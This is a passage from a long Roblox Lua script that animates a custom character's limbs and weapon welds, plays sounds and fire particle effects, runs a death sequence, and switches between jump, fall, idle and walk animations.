  4355. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4356. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4357. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4358. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4359. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4360. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4361. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4362. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4363. end
  4364. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4365. for i=0,1,0.1 do
  4366. swait()
  4367. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4368. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4369. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4370. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4371. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4372. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4373. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4374. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4375. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4376.  
  4377. end
  4378. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4379. for i=0,1,0.1 do
  4380. swait()
  4381. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4382. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4383. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4384. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4385. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4386. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4387. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4388. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4389. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4390. end
  4391. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4392. for i=0,1,0.1 do
  4393. swait()
  4394. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4395. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4396. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4397. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4398. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4399. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4400. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4401. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4402. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4403. end
  4404. --dmgstop()
  4405. Humanoid.WalkSpeed=12
  4406. attack=false
  4407. end
  4408.  
  4409. function Die()
  4410. attack=true
  4411. Footsteps:Stop()
  4412. Footsteps2:Stop()
  4413. local Fire = it("Sound",Character.Torso)
  4414. Fire.SoundId = "rbxassetid://192104941"
  4415. Fire.Looped = true
  4416. Fire.Pitch = 1
  4417. Fire.Volume = 1
  4418. local Fire2 = it("Sound",Handle2)
  4419. Fire2.SoundId = "rbxassetid://192104941"
  4420. Fire2.Looped = true
  4421. Fire2.Pitch = 1
  4422. Fire2.Volume = 1
  4423. local Fire3 = it("Sound",Handle)
  4424. Fire3.SoundId = "rbxassetid://192104941"
  4425. Fire3.Looped = true
  4426. Fire3.Pitch = 1
  4427. Fire3.Volume = 1
  4428. local Fire4 = it("Sound",handle)
  4429. Fire4.SoundId = "rbxassetid://192104941"
  4430. Fire4.Looped = true
  4431. Fire4.Pitch = 1
  4432. Fire4.Volume = 1
  4433. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4434. fire.Lifetime = NumberRange.new(0.5)
  4435. fire.Speed = NumberRange.new(1, 3)
  4436. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4437. fire.Rate = 0
  4438. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4439. fire.LightEmission = 0.6
  4440. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4441. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4442. local fire2 = Instance.new("ParticleEmitter", Handle)
  4443. fire2.Lifetime = NumberRange.new(0.5)
  4444. fire2.Speed = NumberRange.new(1, 3)
  4445. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4446. fire2.Rate = 0
  4447. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4448. fire2.LightEmission = 0.6
  4449. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4450. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4451. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4452. fire3.Lifetime = NumberRange.new(0.5)
  4453. fire3.Speed = NumberRange.new(1, 3)
  4454. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4455. fire3.Rate = 0
  4456. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4457. fire3.LightEmission = 0.6
  4458. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4459. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4460. local fire4 = Instance.new("ParticleEmitter", handle)
  4461. fire4.Lifetime = NumberRange.new(0.5)
  4462. fire4.Speed = NumberRange.new(1, 3)
  4463. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4464. fire4.Rate = 0
  4465. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4466. fire4.LightEmission = 0.6
  4467. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4468. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4469. Humanoid.WalkSpeed = 0
  4470. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4471. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4472. for i=0,1,0.08 do
  4473. swait()
  4474. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4475. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4476. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4477. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4478. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4479. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4480. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4481. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4482. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4483. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4484. end
  4485. for i=0,1,0.005 do
  4486. swait()
  4487. light.Range=15-10*i
  4488. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4489. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4490. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4491. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4492. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4493. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4494. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4495. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4496. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4497. end
  4498. light.Range=0
  4499. for i=0,1,0.01 do
  4500. swait()
  4501. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4502. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4503. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4504. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4505. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4506. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4507. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4508. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4509. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4510. end
  4511. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4512. fire.Rate = 1000
  4513. fire2.Rate = 1000
  4514. fire3.Rate = 1000
  4515. fire4.Rate = 1000
  4516. Fire:Play()
  4517. Fire2:Play()
  4518. Fire3:Play()
  4519. Fire4:Play()
  4520. for i=0,1,0.005 do
  4521. swait()
  4522. Character.Head.face.Transparency = 0+1*i
  4523. LeftArm.Transparency=0+1*i
  4524. RightArm.Transparency=0+1*i
  4525. LeftLeg.Transparency=0+1*i
  4526. RightLeg.Transparency=0+1*i
  4527. Head.Transparency=0+1*i
  4528. Torso.Transparency=0+1*i
  4529. for _,v in pairs(Character:children()) do
  4530. if v:IsA("Hat") then
  4531. v.Handle.Transparency = 0+1*i
  4532. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4533. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4534. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4535. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4536. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4537. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4538. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4539. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4540. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4541. end
  4542. end
  4543. --dmgstop()
  4544. end
  4545. Humanoid.Health = 0
  4546. end
  4547.  
  4548. equipanim()
  4549.  
  4550. local sine = 0
  4551. local change = 1
  4552. local val = 0
  4553.  
  4554. local mananum=0
  4555. while true do
  4556. swait()
  4557. sine = sine + change
  4558. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4559. local velderp=RootPart.Velocity.y
  4560. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4561. if equipped==true or equipped==false then
  4562. if Anim=="Idle" and attack==false then
  4563. idle=idle+1
  4564. else
  4565. idle=0
  4566. end
  4567. if Humanoid.Health <=20 then
  4568. if attack == false then
  4569. Humanoid.Health = math.huge
  4570. Die()
  4571. end
  4572. end
  4573. if idle>=1000 then
  4574. if attack==false then
  4575. --Sheath()
  4576. end
  4577. end
  4578. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4579. Anim="Jump"
  4580. if attack==false then
  4581. Footsteps:Stop()
  4582. Footsteps2:Stop()
  4583. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4584. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4585. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4586. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4587. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4588. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4589. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4590. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4591. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4592. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4593. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4594. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4595. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4596. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4597. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4598. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4599. end
  4600. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4601. Anim="Fall"
  4602. if attack==false then
  4603. Footsteps:Stop()
  4604. Footsteps2:Stop()
  4605. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4606. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4607. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4608. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4609. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4610. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4611. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4612. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4613. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4614. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4615. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4616. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4617. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4618. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4619. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4620. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4621. end
  4622. elseif torvel<1 and hitfloor~=nil then
  4623. Anim="Idle"
  4624. change=0.5
  4625. if idle>=1000 then
  4626. if attack==false then
  4627. Footsteps:Stop()
  4628. Footsteps2:Stop()
  4629. Humanoid.WalkSpeed=12
  4630. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4631. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4632. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4633. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4634. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4635. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4636. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4637. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4638. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4639. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4640. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4641. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4642. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4643. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4644. end
  4645. else
  4646. if attack==false then
  4647. Footsteps:Stop()
  4648. Footsteps2:Stop()
  4649. Humanoid.WalkSpeed=12
  4650. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4651. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4652. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4653. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4654. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4655. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4656. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
  4657. handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
  4658. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4659. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4660. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4661. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4662. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4663. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4664. end
  4665. end
  4666. elseif torvel>2 and torvel<22 and hitfloor~=nil then
  4667. Anim="Walk"
  4668. if attack==false then
  4669. change=0.8
  4670. --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
  4671. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
  4672. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4673. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
  4674. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
  4675. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
  4676. --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4677. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4678. RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
  4679. --RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
  4680. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
  4681. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
  4682. RH.C0=clerp(RH.C0,RHC0,.3)
  4683. LH.C0=clerp(LH.C0,LHC0,.3)
  4684. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4685. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4686. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4687. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4688. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
